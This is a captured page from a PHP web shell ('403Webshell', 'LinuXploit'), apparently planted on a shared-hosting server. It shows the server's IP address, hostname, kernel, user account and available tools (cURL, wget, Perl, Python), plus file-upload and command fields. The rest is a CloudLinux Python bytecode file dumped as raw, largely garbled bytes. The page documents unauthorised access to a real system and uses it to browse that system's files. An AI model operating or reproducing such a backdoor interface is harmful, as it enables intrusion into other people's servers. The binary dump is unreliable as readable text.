403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.189.143.114
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/clextselect.cpython-37.pyc
B

��d�N�@s�ddlmZddlmZddlmZddlZddlZddlmZddl	m
Z
ddlmZdd	l
mZdd
lmZddlmZe�aGdd
�d
e�ZdS)�)�absolute_import)�print_function)�divisionN)�configparser)�map�)�ClSelect)�ClSelectExcept)�clprint)�utilsc@seZdZdZdZd4dd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zd5dd�Zd6dd�Z
d7dd�Zdd�Zee�Zdd�Zd8dd�Zee�Zd d!�Zee�Zd"d#�Zee�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zed,d-��Zed.d/��Zed0d1��Zed2d3��ZdS)9�ClExtSelectz)/etc/cl.selector/php.extensions.conflictsz/opt/alt�phpcCst�||�g|_d|_dS)NF)r�__init__�
_conflicts�!_use_default_exts_from_native_php)�self�item�r�E/opt/alt/python37/lib/python3.7/site-packages/clselect/clextselect.pyrszClExtSelect.__init__cCs
||jkS)N)�_hidden_extensions)r�ext_namerrr�_is_disabled_extention&sz"ClExtSelect._is_disabled_extentioncCsJ|��}|�||�|j|j|j|f|j|dd�}|�d�|�tj�dS)zM
        Adds extensions to default list of extensions for a version
        �enable_extentions)�action�
N)	�get_all_alternatives_data�_check_alternative�_process_ini_file�
DEFAULTS_PATH�_item�_add_extensions�_write_to_file�joinr)r�version�ext_list�alternatives�defaults_contentsrrr�enable_extensions)s
zClExtSelect.enable_extensionscCsF|��}|�||�|�|j|j|f|j|�}|�d�|�|j�dS)a
        Replaces extensions to default list of extensions for a version.
        Writes/updates /etc/cl.selector/defaults.cfg file
        :param version: alt-php version to process
        :param ext_list: list extensions to set as defaults for the version
        rN)rrrrr�_replace_extensionsr!r")rr#r$r%r&rrr�replace_extensions7szClExtSelect.replace_extensionscCsJ|��}|�||�|j|j|j|f|j|dd�}|�d�|�|j�dS)z�
        Removes extensions from default list of extensions for a version
        :param version: alt-php version to process
        :param ext_list: comma separated extensions list to delete
        �disable_extentions)rrN)rrrrr�_del_extensionsr!r")rr#r$r%r&rrr�disable_extensionsHs
zClExtSelect.disable_extensionscCsPd}d}t�}d}|��}|�||�|�|�}|�|�}y|�|�}	Wntjk
rbg}	YnXttdd�|��}
x�|	D]�}d}||kr�||kr�d}t	|df|df|dfg�}
t	|
��
|
�s|||k�r|j�r||	k�r|
�|df�|
�|df�d}|�|�q||
�||f�|r||�|�q|W|�r:|�
||�tt|
t�d�d	��S)
a�
        Returns list of extensions marking built-ins and enabled ones
        Also replaces mysqli->nd_mysqli in defaults.cfg for new installations according to LVEMAN-1399
        :param version: php version
        :return Tuple: (extension_name, extension_state)
            extension_state:
                None        -- built-in extension
                False/True  -- disabled/enabled extension
        ZmysqliZ	nd_mysqliFcSs|dfS)Nr)�irrr�<lambda>t�z-ClExtSelect.list_extensions.<locals>.<lambda>TNr)�key)�listrr�_get_enabled_extensions�
_get_builtins�_load_extensions_listr	�UnableToGetExtensionsr�set�intersectionr�appendr)�tuple�sorted�operator�
itemgetter)rr#Zext_mysqli_nameZext_nd_mysqli_nameZext_list_to_writeZis_need_to_write_defaultsr%Zenabled_extensionsZas_built_inZ
as_extensions�all_extensions�ext�statusZext_setrrr�list_extensionsWs>





zClExtSelect.list_extensionsc	Csdy6|j�d|j|fd�}d|_ttdd�|�d���Stjtj	fk
r^d|_|�
d�SXd	S)
zB
        Returns list of enabled extensions for a version
        z%s%s�modulesFcSs|��S)N)�strip)r-rrrr.�r/z5ClExtSelect._get_enabled_extensions.<locals>.<lambda>�,T�nativeN)�_dh�getrrr1r�split�ConfigParser�NoSectionError�
NoOptionErrorr3)rr#�datarrrr2�sz#ClExtSelect._get_enabled_extensionsTc
Cs|�|�}t|�dks"||dkr&|Sd}g}t�}|�|d�}	x(tt|��D]}
||
�d�rP|
}PqPW|r�||||�d�dd���}|�t	t
dd�|�d����|�|�|�|�}x |D]}|�
|�|g|	��q�Wd	d�t|��}|�r|||<n
|�|�|�|�S)
z�
        Adds 'modules' option to section or extends it
        @param section_info: tuple (item and version)
        @param section: list
        @param data: list
        @return: list
        rNrrA�=cSs|��S)N)rB)r-rrrr.�r/z-ClExtSelect._add_extensions.<locals>.<lambda>rCzmodules = %s)�_make_section_header�lenr6�_compose_alt_path�range�
startswith�findrB�extendr1rrG�_check_for_conflicts�update�_include_dependenciesr"r:r8�_smooth_data)
r�section_info�sectionrK�trace�section_header�midxrA�resolved_modules�alt_path�idx�modules_string�modrrrr �s0
"




zClExtSelect._add_extensionscsB|�|�}t|�dks"||dkr&|Sd}|�|d�}x(tt|��D]}||�d�rF|}PqFW|dd�}	|r�t�}
|�|	�}	xH|	D]@�|��g|�}t|�dkr�t�	�fdd�|D��|
�	|�q�Wdd�
t|
��}ndd�
t|��}|�r|||<n
|�|�t�
�}	x"|	��D]}
|
|k�rt|
=�qW|�|�S)	aK
        Adds 'modules' option to section or extends it
        @param section_info: tuple (item and version).
            Example: ('php', '5.2')
        @param section: list. Modules from /etc/cl.selecto/defaults.cfg for supplied php version
            Example: ['[php5.2]',
                      'modules = bcmath,dom,gd,imap,json,mcrypt,mysql,mysqli,phar,posix,sockets,uuid,wddx,xmlreader,zip',
                      '', '']
        @param data: list: Modules list to set from command line
        @:param trace: ????, Currently not using, always True
        @return: list
        rNrrAcsi|]}|�kr�|�qSrr)�.0�
dep_module)rarr�
<dictcomp>�sz3ClExtSelect._replace_extensions.<locals>.<dictcomp>zmodules = %srC)rMrNrOrPrQr6rTrV�depend_modules_dictrUr"r:r8�copy�keysrW)rrXrYrKrZr[r\r^r_rAr]Zinclude_depr`rcr)rarr(�s8





zClExtSelect._replace_extensionscCs:|�|�}t|�dks"||dkr&|Sd}|�|d�}x(tt|��D]}||�d�rF|}PqFW|sj|S||||�d�dd���}	ttdd�|	�	d���}
|
�
�}x@t|�D]4}||
kr�q�|
�|g�}
|�||
|�r�q�|�
|�q�Wt�}x |D]}|�|�|g|��q�Wd	d�t|��}	|	||<|�|�S)
z�
        Deletes items in data list from section list
        @param section_info: tuple (item and version)
        @param section: list
        @param data: list of extension names to delete
        @return: list
        rNrrArLcSs|��S)N)rB)r-rrrr.r/z-ClExtSelect._del_extensions.<locals>.<lambda>rCzmodules = %s)rMrNrOrPrQrRrBr6rrGrf�
difference�_is_dependency�discardrUrVr"r:rW)rrXrYrKrZr[r\r^r_r`rAr]rZrest_of_modules�tmprarrrr+�s6
"
zClExtSelect._del_extensionscCs2x,|D]$}|�||�}||kr|t|<dSqWdS)a^
        Checks if module in modules dependent on ext and returns true or false
        @param ext: Module to check
        @param modules: set of names of installed modules
        @param alt_path: Path to alt-php ini dir: /opt/alt/phpXX/etc/php.d.all
        @return: bool. True if ext present in dependencies of any module in modules list
        TF)�_get_dependenciesre)�clsr>rAr^ra�dependenciesrrrris	
zClExtSelect._is_dependencyc	Cs.tj�|jd|j|�dd�fdd|jf�S)z<
        Composes and returns path for alternatives
        z%s%s�.��etcz%s.d.all)�os�pathr"�SYSTEM_ALT_PATHr�replace)rr#rrrrO's
zClExtSelect._compose_alt_pathNc
CsXd}d}|dd�}�x<|D�]2}tj�|d|f�}y�t|�}	g}
g}x�|	D]�}|�d�sf|�d�r�|�||�}
|
|kr�|
|kr�|�d|
�d}qN|
�d|f�d}|
�|�g}|�d	�sN|�d
�sN|r�|
�|�	��qN|�|�	��qNW|	�
�|dk	�r||k�r|
||<|�r(|�|||�}Wqtt
fk
�rN|�|�|SXqW|S)z�
        Includes dependencies into extensions list and update data dict
        if present
        @param ext_list: list
        @param alt_path: string
        @param data: dict
        @return: list
        FNz%s.ini�	extensionZzend_extensionrTz	;---%s---�;r)rrrsr"�openrQ�_single_out_extension�insertr8rS�rstrip�closerV�OSError�IOError�remove)rmr$r^rK�found�
in_sectionZresult_ext_listr>�ext_path�f�
file_contentsZpending_contents�linerrrrrV1sD	





z!ClExtSelect._include_dependenciesc	Cszt�}tj�|d|f�}yBt|�}x4|D],}|�d�r*|�||�}||kr*|�|�q*W|Stt	fk
rt|SXdS)z�
        Checks if an extension has dependencies and if so returns them
        Otherwise returns None
        @param ext: string
        @return: set
        z%s.inirvN)
r6rrrsr"rxrQry�addr}r~)rmr>r^rnr�r�r�rrrrrl_s

zClExtSelect._get_dependenciescCs�ddi}d|kr,||�d�dd���}n||�d�dd��d�}d|krb|d|�d��}d	|kr||d|�d	��}||kr�||}n8||kr�|}n*d
|kr�d�tdd
�|�d
���|kr�|}|S)z=
        Singles out and returns extension from line
        ZixedZsourceguardian�/rNrLz "ro�-�_rpcSs|��S)N)�
capitalize)r-rrrr.�r/z3ClExtSelect._single_out_extension.<locals>.<lambda>)�rfindrBrRr"rrG)r>r�Zquirksrrrrryts 
z!ClExtSelect._single_out_extensioncCsF|js|��t�}x,|D]$}|�||�r|�|�s|�|�qW|S)z?
        Removes from extensions list conflicting ones
        )r�_load_conflicting_extensionsr6�_is_not_conflictingrr�)rr$�	clean_setr>rrrrT�s

z ClExtSelect._check_for_conflictscCs6x0|jD]&}||krt|���|��dkrdSqWdS)z;
        Checks extension against conflicting sets
        rFT)rrNrfr7)rr>r��conflictrrrr��s
zClExtSelect._is_not_conflictingcCs^t�|j�}xL|��D]@}d|kr$qttdd�|�d���}t|�dkrJq|j�	|�qWdS)zU
        Loads conflicting extensions from file and saves'em as list of sets
        rCcSs|��S)N)rB)r-rrrr.�r/z:ClExtSelect._load_conflicting_extensions.<locals>.<lambda>�N)
rZread_file_as_string�CONFLICTS_PATH�
splitlinesr6rrGrNrr8)rZ	conflictsr�Zconflict_setrrrr��sz(ClExtSelect._load_conflicting_extensionscCs�|�|�}yTg}xFt�|�D]8}|�d�s,q|d|�d��}||jkrJq|�|�qWt|�Stk
r|t	�
|��YnXdS)z`
        Loads alternative extensions list for a version
        @param version: string
        z.iniN)rOrr�listdir�endswithrRrr8r:r}r	r5)rr#r^Zalt_extensions�filenamervrrrr4�s


z!ClExtSelect._load_extensions_listcCs0x*|D]"\}}t�ddd||fd��qWdS)zR
        Prints info
        @param ext: string
        @param data: list
        �text�WARNz%s enabled as dependency (%s))r?�messageN)r
�
print_diag)Zdependens_infor-r>rrr�_print_dependencies_info�sz$ClExtSelect._print_dependencies_infocs,|sgSt|���g�}��fdd�|D�S)zv
        Get array of dependenses [(ext, depending ext)]
        @param ext: string
        @param data: list
        csg|]}|�kr|�f�qSrr)rbr-)r>r$rr�
<listcomp>�sz5ClExtSelect.get_dependencies_list.<locals>.<listcomp>)r6rh)r>rKr$�diffr)r>r$r�get_dependencies_list�sz!ClExtSelect.get_dependencies_listcCst|��|�S)N)r6rh)Z	init_listZ
processed_setrrr�get_conflicts_info�szClExtSelect.get_conflicts_infocCs.|r*x$|D]}t�ddd|fd��q
WdS)z~
        Prepares data for printing conflicts if any
        @param init_list: list
        @param processed_set: set
        r�r�z%s skipped as conflicting)r?r�N)r
r�)r�r-rrr�_print_conflicts_info�s
z!ClExtSelect._print_conflicts_info)r
)T)T)T)N)�__name__�
__module__�__qualname__r�rtrrr'r)r,r@r2r r(r+ri�classmethodrOrVrlry�staticmethodrTr�r�r4r�r�r�r�rrrrrs:
;
"
0
$

,

r)�
__future__rrrrrr;�future.movesrrH�builtinsr�clselectr�clselectexceptr	�
clselectprintr
rpr�dictrerrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit